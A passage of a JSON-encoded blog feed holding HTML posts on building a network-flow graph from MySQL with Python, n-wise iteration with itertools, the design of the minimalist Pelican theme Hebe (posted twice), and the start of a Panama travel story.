class=\"o\">=<\/span><span class=\"s1\">&#39;localhost&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"n\">user<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;root&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"n\">password<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;my-secret-pw&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"n\">db<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;flowdata&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"n\">charset<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;utf8mb4&#39;<\/span><span class=\"p\">,<\/span>\n    <span class=\"n\">cursorclass<\/span><span class=\"o\">=<\/span><span class=\"n\">pymysql<\/span><span class=\"o\">.<\/span><span class=\"n\">cursors<\/span><span class=\"o\">.<\/span><span class=\"n\">SSCursor<\/span>\n<span class=\"p\">)<\/span>\n\n<span class=\"n\">graph<\/span> <span class=\"o\">=<\/span> <span class=\"n\">nx<\/span><span class=\"o\">.<\/span><span class=\"n\">DiGraph<\/span><span class=\"p\">()<\/span>\n\n<span class=\"n\">cursor<\/span> <span class=\"o\">=<\/span> <span class=\"n\">conn<\/span><span class=\"o\">.<\/span><span class=\"n\">cursor<\/span><span class=\"p\">()<\/span>\n<span class=\"n\">cursor<\/span><span class=\"o\">.<\/span><span class=\"n\">execute<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;SELECT src_ip, dst_ip FROM flows&#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"k\">for<\/span> <span class=\"n\">i<\/span><span class=\"p\">,<\/span> <span class=\"n\">row<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">enumerate<\/span><span class=\"p\">(<\/span><span class=\"n\">cursor<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">sys<\/span><span class=\"o\">.<\/span><span class=\"n\">stdout<\/span><span class=\"o\">.<\/span><span class=\"n\">write<\/span><span class=\"p\">(<\/span><span class=\"s2\">&quot;<\/span><span class=\"se\">\\r<\/span><span class=\"s2\">Reading line <\/span><span class=\"si\">%s<\/span><span class=\"s2\">&quot;<\/span> <span class=\"o\">%<\/span> <span class=\"n\">i<\/span><span class=\"p\">)<\/span>\n    <span class=\"n\">sys<\/span><span class=\"o\">.<\/span><span class=\"n\">stdout<\/span><span class=\"o\">.<\/span><span class=\"n\">flush<\/span><span class=\"p\">()<\/span>\n    <span class=\"n\">graph<\/span><span class=\"o\">.<\/span><span class=\"n\">add_edge<\/span><span class=\"p\">(<\/span><span class=\"n\">row<\/span><span class=\"p\">[<\/span><span class=\"mi\">0<\/span><span class=\"p\">],<\/span> <span class=\"n\">row<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">])<\/span>\n\n<span class=\"n\">nx<\/span><span class=\"o\">.<\/span><span class=\"n\">write_graphml<\/span><span class=\"p\">(<\/span><span class=\"n\">graph<\/span><span class=\"p\">,<\/span> <span class=\"s2\">&quot;trente-flowgraph.graphml&quot;<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>It's obvious to see that I only need the data from the first two columns as they contain source and destination IP. The trick here is to use <code>pymysql.cursors.SSCursor<\/code>. This will prevent <code>pymysql<\/code> from loading the whole result set from the <code>SELECT * ...<\/code> query into RAM. Another catch is that <code>pymysql<\/code> apparently is not available for Python 3 yet. SQLAlchemy is a good workaround for bigger projects (such as my <a href=\"https:\/\/github.com\/dmuhs\/pastebin-scraper\">Pastebin Scraper<\/a>) but in this case it's complete overkill. Just run the script with <code>python2.7<\/code> and you're good.<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"N-wise Iteration in Python","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2017\/04\/17\/n-wise-iteration-in-python.html","rel":"alternate"}},"published":"2017-04-17T00:00:00+02:00","updated":"2017-04-17T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2017-04-17:\/2017\/04\/17\/n-wise-iteration-in-python.html","summary":"<p>A few hours back I stumbled into a problem where I had to perform a lookahead of n elements in a list to do some calculations. The first thought: Just take the current index and get all elements until i+n. I started writing..<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">iterable \u2026<\/span><\/code><\/pre><\/div>","content":"<p>A few hours back I stumbled into a problem where I had to perform a lookahead of n elements in a list to do some calculations. The first thought: Just take the current index and get all elements until i+n. I started writing..<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"nb\">len<\/span><span class=\"p\">(<\/span><span class=\"n\">iterable<\/span><span class=\"p\">)):<\/span>\n<span class=\"o\">----<\/span> <span class=\"n\">SNAP<\/span> <span class=\"o\">----<\/span>\n<\/code><\/pre><\/div>\n\n<p>Stop. This is awfully unpythonic. There has to be a better way! Browsing the <a href=\"https:\/\/docs.python.org\/3\/library\/itertools.html#itertools-recipes\">itertools recipes<\/a> I found the <code>pairwise<\/code> function:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">def<\/span> <span class=\"nf\">pairwise<\/span><span class=\"p\">(<\/span><span class=\"n\">iterable<\/span><span class=\"p\">):<\/span>\n    <span class=\"s2\">&quot;s -&gt; (s0,s1), (s1,s2), (s2, s3), ...&quot;<\/span>\n    <span class=\"n\">a<\/span><span class=\"p\">,<\/span> <span class=\"n\">b<\/span> <span class=\"o\">=<\/span> <span class=\"n\">tee<\/span><span class=\"p\">(<\/span><span class=\"n\">iterable<\/span><span class=\"p\">)<\/span>\n    <span class=\"nb\">next<\/span><span class=\"p\">(<\/span><span class=\"n\">b<\/span><span class=\"p\">,<\/span> <span class=\"kc\">None<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">return<\/span> <span class=\"nb\">zip<\/span><span class=\"p\">(<\/span><span class=\"n\">a<\/span><span class=\"p\">,<\/span> <span class=\"n\">b<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>Perfect! Now I just have to adjust it to work with n iterators where the first iterator is at i, the second at i+1, etc.<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"k\">def<\/span> <span class=\"nf\">nwise<\/span><span class=\"p\">(<\/span><span class=\"n\">iterable<\/span><span class=\"p\">,<\/span> <span class=\"n\">n<\/span><span class=\"o\">=<\/span><span class=\"mi\">1<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">iterators<\/span> <span class=\"o\">=<\/span> <span class=\"n\">tee<\/span><span class=\"p\">(<\/span><span class=\"n\">iterable<\/span><span class=\"p\">,<\/span> <span class=\"n\">n<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"n\">n<\/span><span class=\"p\">):<\/span>\n        <span class=\"k\">for<\/span> <span class=\"n\">_<\/span> <span class=\"ow\">in<\/span> <span class=\"nb\">range<\/span><span class=\"p\">(<\/span><span class=\"n\">i<\/span><span class=\"p\">):<\/span>\n            <span class=\"nb\">next<\/span><span class=\"p\">(<\/span><span class=\"n\">iterators<\/span><span class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">],<\/span> <span class=\"kc\">None<\/span><span class=\"p\">)<\/span>\n    <span class=\"k\">return<\/span> <span class=\"nb\">zip<\/span><span class=\"p\">(<\/span><span class=\"o\">*<\/span><span class=\"n\">iterators<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<p>There we go. Even though it works on multiple levels of the iterable, it's still memory-efficient, because <a href=\"http:\/\/pybit.es\/generators.html\">generators are awesome<\/a>. This will provide you with an output like this:<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">4<\/span><span class=\"p\">]:<\/span> <span class=\"n\">l<\/span> <span class=\"o\">=<\/span> <span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span><span class=\"mi\">2<\/span><span class=\"p\">,<\/span><span class=\"mi\">3<\/span><span class=\"p\">,<\/span><span class=\"mi\">4<\/span><span class=\"p\">,<\/span><span class=\"mi\">5<\/span><span class=\"p\">,<\/span><span class=\"mi\">6<\/span><span class=\"p\">]<\/span>\n\n<span class=\"n\">In<\/span> <span class=\"p\">[<\/span><span class=\"mi\">5<\/span><span class=\"p\">]:<\/span> <span class=\"nb\">list<\/span><span class=\"p\">(<\/span><span class=\"n\">nwise<\/span><span class=\"p\">(<\/span><span class=\"n\">l<\/span><span class=\"p\">,<\/span> <span class=\"n\">n<\/span><span class=\"o\">=<\/span><span class=\"mi\">3<\/span><span class=\"p\">))<\/span>\n<span class=\"n\">Out<\/span><span class=\"p\">[<\/span><span class=\"mi\">5<\/span><span class=\"p\">]:<\/span> <span class=\"p\">[(<\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span> <span class=\"mi\">2<\/span><span class=\"p\">,<\/span> <span class=\"mi\">3<\/span><span class=\"p\">),<\/span> <span class=\"p\">(<\/span><span class=\"mi\">2<\/span><span class=\"p\">,<\/span> <span class=\"mi\">3<\/span><span class=\"p\">,<\/span> <span class=\"mi\">4<\/span><span class=\"p\">),<\/span> <span class=\"p\">(<\/span><span class=\"mi\">3<\/span><span class=\"p\">,<\/span> <span class=\"mi\">4<\/span><span class=\"p\">,<\/span> <span class=\"mi\">5<\/span><span class=\"p\">),<\/span> <span class=\"p\">(<\/span><span class=\"mi\">4<\/span><span class=\"p\">,<\/span> <span class=\"mi\">5<\/span><span class=\"p\">,<\/span> <span class=\"mi\">6<\/span><span class=\"p\">)]<\/span>\n<\/code><\/pre><\/div>\n\n<p>Note that the list call was just used to empty the generator for printing. Here's a quick one-liner that counts the times a fixed-length (<em>42<\/em>) sequence in a list sums up to a certain value (<em>1337<\/em>):<\/p>\n<div class=\"highlight\"><pre><span><\/span><code><span class=\"nb\">sum<\/span><span class=\"p\">([<\/span><span class=\"mi\">1<\/span> <span class=\"k\">for<\/span> <span class=\"n\">seq<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">nwise<\/span><span class=\"p\">(<\/span><span class=\"n\">l<\/span><span class=\"p\">,<\/span> <span class=\"n\">n<\/span><span class=\"o\">=<\/span><span class=\"mi\">42<\/span><span class=\"p\">)<\/span> <span class=\"k\">if<\/span> <span class=\"nb\">sum<\/span><span class=\"p\">(<\/span><span class=\"n\">seq<\/span><span class=\"p\">)<\/span> <span class=\"o\">==<\/span> <span class=\"mi\">1337<\/span><span class=\"p\">])<\/span>\n<\/code><\/pre><\/div>","category":{"@attributes":{"term":"Software"}}},{"title":"Hebe Design Decisions","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2017\/03\/25\/hebe-design-decisions.html","rel":"alternate"}},"published":"2017-03-25T00:00:00+01:00","updated":"2017-03-25T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2017-03-25:\/2017\/03\/25\/hebe-design-decisions.html","summary":"<p>After the exams I had some free hours so I decided to show my blog some more love and look for a new theme. The old one, a customized version of <a href=\"https:\/\/github.com\/onlyhavecans\/pelican-chunk\">Chunk<\/a> was little more than a hack to have a theme at all. Here's a quick reminder of how \u2026<\/p>","content":"<p>After the exams I had some free hours so I decided to show my blog some more love and look for a new theme. The old one, a customized version of <a href=\"https:\/\/github.com\/onlyhavecans\/pelican-chunk\">Chunk<\/a> was little more than a hack to have a theme at all. Here's a quick reminder of how this site used to look:<\/p>\n<p><div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/hebe-design-decisions\/chunk.png\" data-pswp-width=\"1366\" data-pswp-height=\"768\" target=\"_blank\">\n        <img src=\"\/blog\/hebe-design-decisions\/chunk.png\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div><\/a><\/p>\n<p>I had a thorough look at <a href=\"https:\/\/github.com\/alexandrevicenzi\/Flex\">Flex<\/a>, <a href=\"https:\/\/github.com\/talha131\/pelican-elegant\">Elegant<\/a> and many other popular themes but none of them struck me as <em>really minimalist<\/em>. So even though I'm more of a backend-dev I decided to dust off my questionable CSS skills and give it a shot. Turns out a lot has changed since I last developed websites. Animations without JS? Magic! The whole thing turned out pretty neat and I even <a href=\"https:\/\/github.com\/dmuhs\/hebe\">published the code on Github<\/a>. Feel free to leave feedback!<\/p>\n<p>In this post I'll explain some of my ideas about <em>Hebe<\/em>, a \"truly\" minimalist <a href=\"https:\/\/getpelican.com\">Pelican<\/a> blog theme.<\/p>\n<h4>Cleaning Up<\/h4>\n<p>First I started playing around with the old theme. I removed all things I thought were unnecessary and too distracting:<\/p>\n<ul>\n<li>Tags<\/li>\n<li>Author<\/li>\n<li>Category (probably the most radical change)<\/li>\n<li>Comments<\/li>\n<\/ul>\n<p>If I had a search field, I also would have removed it. Whenever I look at a blog I easily get distracted by these elements. I usually stumble across interesting articles through <a href=\"http:\/\/news.ycombinator.com\/\">Hackernews<\/a> or simple Google searches. I look at articles because of their content. I don't care for other related posts, I would never ever do a tag search, I usually don't comment and why would I browse a category as generic as <em>programming<\/em>? Altough if they're too specific they lose their purpose of grouping content. So their relevance is secondary at most. That's why I removed them from the article view.<\/p>\n<p>Another point that is worth mentioning is the menu length. I decided to go for a maximum of three links. I never visited a blog where I thought <em>\"Wow, I should immediately follow them on LinkedIn, Twitter, Facebook, check out their Tumblr blog, like all their YT videos and donate them some Bitcoin\"<\/em>. I think I'm not alone in this. However when I read an interesting article on a certain programming problem or similar I regularly find myself looking people up on Github to find out whether they have other interesting projects I could learn something from. That's why I also included mine in the menu above.<\/p>\n<h4>Typography<\/h4>\n<p>So in my minimalist rage I needed another way to structure and separate my content than horizontal and vertical rules. My first idea was to use different versions of at most three fonts. On this blog you will find:<\/p>\n<ul>\n<li><a href=\"https:\/\/www.fontsquirrel.com\/fonts\/quicksand\">Quicksand<\/a> in the title<\/li>\n<li><a href=\"https:\/\/www.fontsquirrel.com\/fonts\/raleway\">Raleway<\/a> for the main content<\/li>\n<li><a href=\"https:\/\/www.fontsquirrel.com\/fonts\/source-code-pro\">Source Code Pro<\/a> for monospace code sections<\/li>\n<\/ul>\n<p>All of these fonts convinced me with their smooth curvatures and rounded edges. They manage to maintain a tidy look while not looking as dead and boring as the old Helvetica. Okay, that was mean. Helvetica is a beautiful font. But it's so overused by now that I'm sick of seeing it everywhere. There are so many <a href=\"https:\/\/www.typewolf.com\/top-10-helvetica-alternatives\">beautiful alternatives<\/a>!<\/p>\n<p>A thing I tried to keep in mind during the design process was to keep generous <a href=\"https:\/\/www.sitepoint.com\/a-solid-understanding-of-negative-space\/\">negative space<\/a> and guide the reader's attention indirectly  through proximity rather than throwing a UI element at them. After that (plus taking the following thoughts into account) I already ended up with the following black and white theme:<\/p>\n<p><div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/hebe-design-decisions\/hebe-beta.png\" data-pswp-width=\"1366\" data-pswp-height=\"768\" target=\"_blank\">\n        <img src=\"\/blog\/hebe-design-decisions\/hebe-beta.png\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div><\/a><\/p>\n<h4>Hidden Functionality<\/h4>\n<p>I already wrote about the numerous things that bother me with modern blogs. But removing categories might seem a little radical, right? And the subscription box for a newsletter? What if a user wants to follow my content, explore more or follow the blog?<\/p>\n<p>I tried to solve most of these problems by combining different functionalities. For example personally I liked the archive view (as long as it's separated from the rest of the blog). So I decided to merge archive and categories. When you look at the archive overview you'll be able to see the respective categories and you can easily explore by clicking on one of them. It's not too obvious, I know. On the other side a user who really wants to use this functionality will quickly find their way around it. Even if they don't - it's a sacrifice I'm willing to make for a minimalist blogging experience.<\/p>\n<p><div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/hebe-design-decisions\/hebe-archive.png\" data-pswp-width=\"821\" data-pswp-height=\"257\" target=\"_blank\">\n        <img src=\"\/blog\/hebe-design-decisions\/hebe-archive.png\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div><\/a><\/p>\n<p>For possible followers there's links to Atom and RSS feeds at the bottom. If the reader has read all the content I assume that it interested them and that's the right point where I want them to see the feed options. When I added colour later I made sure to highlight it a bit more.<\/p>\n<p><div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/hebe-design-decisions\/hebe-footer.png\" data-pswp-width=\"501\" data-pswp-height=\"81\" target=\"_blank\">\n        <img src=\"\/blog\/hebe-design-decisions\/hebe-footer.png\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div><\/a><\/p>\n<h4>Minimalist Colouring<\/h4>\n<p>This is a simple one. I presented the first black\/ white draft to some of my friends and their main point of critique was that it lacked colour. I quickly went for an orange tone because I liked the contrast that still kept the theme happy and bright. To keep the clean style I just added some accents here and there, though - most importantly highlighting the <em>About Me<\/em> link in the menu. To still keep the attention on the content in the main view I tried to just add colour at the top and bottom, wrapping the content section in the middle.<\/p>\n<p>When a reader clicks on an article I wanted to allow for more colour. This is mainly because I often share code and syntax highlighting is a must for readability. To <a href=\"https:\/\/en.wikipedia.org\/wiki\/KISS_principle\">KISS<\/a> I went for a monochromatic scheme. Because I couldn't find a fitting <a href=\"http:\/\/pygments.org\/docs\/styles\/\">Pygments style<\/a> I simply invented my own. Here's the palette:<\/p>\n<p><div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-4\">\n    <a href=\"\/blog\/hebe-design-decisions\/hebe-colours.png\" data-pswp-width=\"800\" data-pswp-height=\"49\" target=\"_blank\">\n        <img src=\"\/blog\/hebe-design-decisions\/hebe-colours.png\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div><\/a><\/p>\n<p>If you want to have a look at the complete Pygments style just check out the complete CSS file <a href=\"https:\/\/github.com\/dmuhs\/hebe\/blob\/master\/static\/css\/pygment.css\">here<\/a>.<\/p>\n<h4>Few Effects<\/h4>\n<p>I admit that most effects weren't necessary. But I never used animations in CSS3 and this was a good chance to tinker around with them. It all boils down to a limited set of animated elements. The most obvious ones are the slight rotation of the blog title and the colour transitions of the links when hovered. I later found <a href=\"http:\/\/tobiasahlin.com\/blog\/css-trick-animating-link-underlines\/\">this interesting article<\/a> by Tobias Ahlin and used the code on my menu bar.<\/p>\n<p>For the content area I thought that syntax highlighting and font styles were more than enough \"noise\". The images looked a little out of place, though. That's why I added some round corners and slight shadow drop to give them a clean and tidy look - like high-quality photos lying on a polished table.<\/p>\n<h4>Further Development<\/h4>\n<p>For sure I'll tweak things here and there. Maybe I'll also add support for more features to keep up with the more popular and professional themes. For now it's getting the job done very well for me. <strong>Pull Requests are welcome, of course!<\/strong>.<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"My New (old) Blog on Github Pages","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2017\/03\/25\/my-new-old-blog-on-github-pages.html","rel":"alternate"}},"published":"2017-03-25T00:00:00+01:00","updated":"2017-03-25T00:00:00+01:00","author":{"name":{}},"id":"tag:spoons.fyi,2017-03-25:\/2017\/03\/25\/my-new-old-blog-on-github-pages.html","summary":"<p>After the exams, I had some free hours so I decided to show my blog some more love and look for a new theme. The old one, a customized version of <a href=\"https:\/\/github.com\/onlyhavecans\/pelican-chunk\">Chunk<\/a> was little more than a hack to have a theme at all. Here's a quick reminder of how \u2026<\/p>","content":"<p>After the exams, I had some free hours so I decided to show my blog some more love and look for a new theme. The old one, a customized version of <a href=\"https:\/\/github.com\/onlyhavecans\/pelican-chunk\">Chunk<\/a> was little more than a hack to have a theme at all. Here's a quick reminder of how this site used to look:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/my-new-old-blog-on-github-pages\/chunk.png\" data-pswp-width=\"1366\" data-pswp-height=\"768\" target=\"_blank\">\n        <img src=\"\/blog\/my-new-old-blog-on-github-pages\/chunk.png\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div>\n<p>I had a thorough look at <a href=\"https:\/\/github.com\/alexandrevicenzi\/Flex\">Flex<\/a>, <a href=\"https:\/\/github.com\/talha131\/pelican-elegant\">Elegant<\/a>, and many other popular themes but none of them struck me as <em>really minimalist<\/em>. So even though I'm more of a backend-dev I decided to dust off my questionable CSS skills and give it a shot. Turns out a lot has changed since I last developed websites. Animations without JS? Magic! The whole thing turned out pretty neat and I even <a href=\"https:\/\/github.com\/dmuhs\/hebe\">published the code on Github<\/a>. Feel free to leave feedback!In this post I'll explain some of my ideas about <em>Hebe<\/em>, a \"truly\" minimalist <a href=\"https:\/\/getpelican.com\">Pelican<\/a> blog theme.<\/p>\n<h4>Cleaning Up<\/h4>\n<p>First I started playing around with the old theme. I removed all things I thought were unnecessary and too distracting:<\/p>\n<ul>\n<li>Tags<\/li>\n<li>Author<\/li>\n<li>Category (probably the most radical change)<\/li>\n<li>Comments<\/li>\n<\/ul>\n<p>If I had a search field, I also would have removed it. Whenever I look at a blog I easily get distracted by these elements. I usually stumble across interesting articles through <a href=\"http:\/\/news.ycombinator.com\/\">Hackernews<\/a> or simple Google searches. I look at articles because of their content. I don't care for other related posts, I would never ever do a tag search, I usually don't comment and why would I browse a category as generic as <em>programming<\/em>? Although if they're too specific they lose their purpose of grouping content. So their relevance is secondary at most. That's why I removed them from the article view.Another point that is worth mentioning is the menu length. I decided to go for a maximum of three links. I never visited a blog where I thought <em>\"Wow, I should immediately follow them on LinkedIn, Twitter, Facebook, check out their Tumblr blog, like all their YT videos, and donate them some Bitcoin\"<\/em>. I think I'm not alone in this. However when I read an interesting article on a certain programming problem or similar I regularly find myself looking people up on Github to find out whether they have other interesting projects I could learn something from. That's why I also included mine in the menu above.<\/p>\n<h4>Typography<\/h4>\n<p>So in my minimalist rage, I needed another way to structure and separate my content than horizontal and vertical rules. My first idea was to use different versions of at most three fonts. On this blog you will find:<\/p>\n<ul>\n<li><a href=\"https:\/\/www.fontsquirrel.com\/fonts\/quicksand\">Quicksand<\/a> in the title<\/li>\n<li><a href=\"https:\/\/www.fontsquirrel.com\/fonts\/raleway\">Raleway<\/a> for the main content<\/li>\n<li><a href=\"https:\/\/www.fontsquirrel.com\/fonts\/source-code-pro\">Source Code Pro<\/a> for monospace code sections<\/li>\n<\/ul>\n<p>All of these fonts convinced me with their smooth curvatures and rounded edges. They manage to maintain a tidy look while not looking as dead and boring as the old Helvetica. Okay, that was mean. Helvetica is a beautiful font. But it's so overused by now that I'm sick of seeing it everywhere. There are so many <a href=\"https:\/\/www.typewolf.com\/top-10-helvetica-alternatives\">beautiful alternatives<\/a>!A thing I tried to keep in mind during the design process was to keep generous <a href=\"https:\/\/www.sitepoint.com\/a-solid-understanding-of-negative-space\/\">negative space<\/a> and guide the reader's attention indirectly through proximity rather than throwing a UI element at them. After that (plus taking the following thoughts into account) I already ended up with the following black and white theme:<\/p>\n<p><div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/my-new-old-blog-on-github-pages\/hebe-beta.png\" data-pswp-width=\"1366\" data-pswp-height=\"768\" target=\"_blank\">\n        <img src=\"\/blog\/my-new-old-blog-on-github-pages\/hebe-beta.png\" alt=\"Image\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>#### Hidden Functionality<\/p>\n<p>I already wrote about the numerous things that bother me with modern blogs. But removing categories might seem a little radical, right? And the subscription box for a newsletter? What if a user wants to follow my content, explore more or follow the blog?I tried to solve most of these problems by combining different functionalities. For example, personally, I liked the archive view (as long as it's separated from the rest of the blog). So I decided to merge the archive and categories. When you look at the archive overview you'll be able to see the respective categories and you can easily explore by clicking on one of them. It's not too obvious, I know. On the other side, a user who really wants to use this functionality will quickly find their way around it. Even if they don't - it's a sacrifice I'm willing to make for a minimalist blogging experience.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-2\">\n    <a href=\"\/blog\/my-new-old-blog-on-github-pages\/hebe-archive.png\" data-pswp-width=\"821\" data-pswp-height=\"257\" target=\"_blank\">\n        <img src=\"\/blog\/my-new-old-blog-on-github-pages\/hebe-archive.png\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div>\n<p>For possible followers there are links to Atom and RSS feeds at the bottom. If the reader has read all the content I assume that it interested them and that's the right point where I want them to see the feed options. When I added colour later I made sure to highlight it a bit more.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-3\">\n    <a href=\"\/blog\/my-new-old-blog-on-github-pages\/hebe-footer.png\" data-pswp-width=\"501\" data-pswp-height=\"81\" target=\"_blank\">\n        <img src=\"\/blog\/my-new-old-blog-on-github-pages\/hebe-footer.png\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div>\n<h4>Minimalist Colouring<\/h4>\n<p>This is a simple one. I presented the first black\/ white draft to some of my friends and their main point of critique was that it lacked colour. I quickly went for an orange tone because I liked the contrast that still kept the theme happy and bright. To keep the clean style I just added some accents here and there, though - most importantly highlighting the <em>About Me<\/em> link in the menu. To still keep the attention on the content in the main view I tried to just add colour at the top and bottom, wrapping the content section in the middle.When a reader clicks on an article I wanted to allow for more colour. This is mainly because I often share code and syntax highlighting is a must for readability. To <a href=\"https:\/\/en.wikipedia.org\/wiki\/KISS_principle\">KISS<\/a> I went for a monochromatic scheme. Because I couldn't find a fitting <a href=\"http:\/\/pygments.org\/docs\/styles\/\">Pygments style<\/a> I simply invented my own. Here's the palette:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-4\">\n    <a href=\"\/blog\/my-new-old-blog-on-github-pages\/hebe-colours.png\" data-pswp-width=\"800\" data-pswp-height=\"49\" target=\"_blank\">\n        <img src=\"\/blog\/my-new-old-blog-on-github-pages\/hebe-colours.png\" alt=\"Image\" class=\"\" \/>\n    <\/a>\n<\/div>\n<p>If you want to have a look at the complete Pygments style just check out the complete CSS file <a href=\"https:\/\/github.com\/dmuhs\/hebe\/blob\/master\/static\/css\/pygment.css\">here<\/a>.<\/p>\n<h4>Few Effects<\/h4>\n<p>I admit that most effects weren't necessary. But I never used animations in CSS3 and this was a good chance to tinker around with them. It all boils down to a limited set of animated elements. The most obvious ones are the slight rotation of the blog title and the colour transitions of the links when hovered. I later found <a href=\"http:\/\/tobiasahlin.com\/blog\/css-trick-animating-link-underlines\/\">this interesting article<\/a> by Tobias Ahlin and used the code on my menu bar.For the content area, I thought that syntax highlighting and font styles were more than enough \"noise\". The images looked a little out of place, though. That's why I added some round corners and slight shadow drops to give them a clean and tidy look - like high-quality photos lying on a polished table.<\/p>\n<h4>Further Development<\/h4>\n<p>For sure I'll tweak things here and there. Maybe I'll also add support for more features to keep up with the more popular and professional themes. For now, it's getting the job done very well for me. <strong>Pull Requests are welcome, of course!<\/strong>.<\/p>","category":{"@attributes":{"term":"Software"}}},{"title":"PPP #13 Goodbye Trip: Campana & Punta Chame","link":{"@attributes":{"href":"https:\/\/spoons.fyi\/2016\/09\/04\/ppp-13-goodbye-trip-campana-punta-chame.html","rel":"alternate"}},"published":"2016-09-04T00:00:00+02:00","updated":"2016-09-04T00:00:00+02:00","author":{"name":{}},"id":"tag:spoons.fyi,2016-09-04:\/2016\/09\/04\/ppp-13-goodbye-trip-campana-punta-chame.html","summary":"<p>As most of my stories in Panama this trip starts with some new friends. At my workplace, the <em>Universidad Tecnol\u00f3gica de Panam\u00e1 (UTP)<\/em>, I didn't have much contact to students, because I spent most of my time on campus inside an office. The international office of the uni was very \u2026<\/p>","content":"<p>As most of my stories in Panama this trip starts with some new friends. At my workplace, the <em>Universidad Tecnol\u00f3gica de Panam\u00e1 (UTP)<\/em>, I didn't have much contact to students, because I spent most of my time on campus inside an office. The international office of the uni was very engaged however and regularly asked me to speak about my experiences and help respresent campus affairs. In this context I met some of the most amazing people!<\/p>\n<p>Some of my favourite contacts were <em>\"the Mexican guys\"<\/em>. Most of them from Mexico City and Irapuato. We already spent some time in <a href=\"https:\/\/spoons.fyi\/2016\/08\/06\/ppp-11-strolling-through-the-park.html\">Parque Metropolitano<\/a> and decided to take a longer tour to visit one of the most beautiful national parks of Panama and the nearby canyons.<\/p>\n<p>No sooner said than done! We packed our backpacks and got on the bus - without an idea where we'd spend the next night. On the bus we got some tips from the driver who brought us to an elderly lady who rented part of her house to travellers.<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-0\">\n    <a href=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-1.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-1_thumb.jpg\" alt=\"The apartment's view\" class=\"image-process-article-image\" \/>\n    <\/a>\n<\/div>\n<p>After a short break the lady recommended us to use the rest of the day to explore the <em>Sendero la Cruz<\/em> - a medium-size hiking path leading through the jungle to a viewpoint where you can see the whole park up to the Pacific coastline. On our way (as always) I made some more friends:<\/p>\n<div class=\"pswp-gallery single-image\" data-gallery-id=\"gallery-1\">\n    <a href=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-2.jpg\" data-pswp-width=\"1920\" data-pswp-height=\"1080\" target=\"_blank\">\n        <img src=\"\/blog\/ppp-13-goodbye-trip-campana-chame\/campana-chame-2_thumb.jpg\" alt=\"New friends!\" class=\"image-process-article-image\" \/>\n    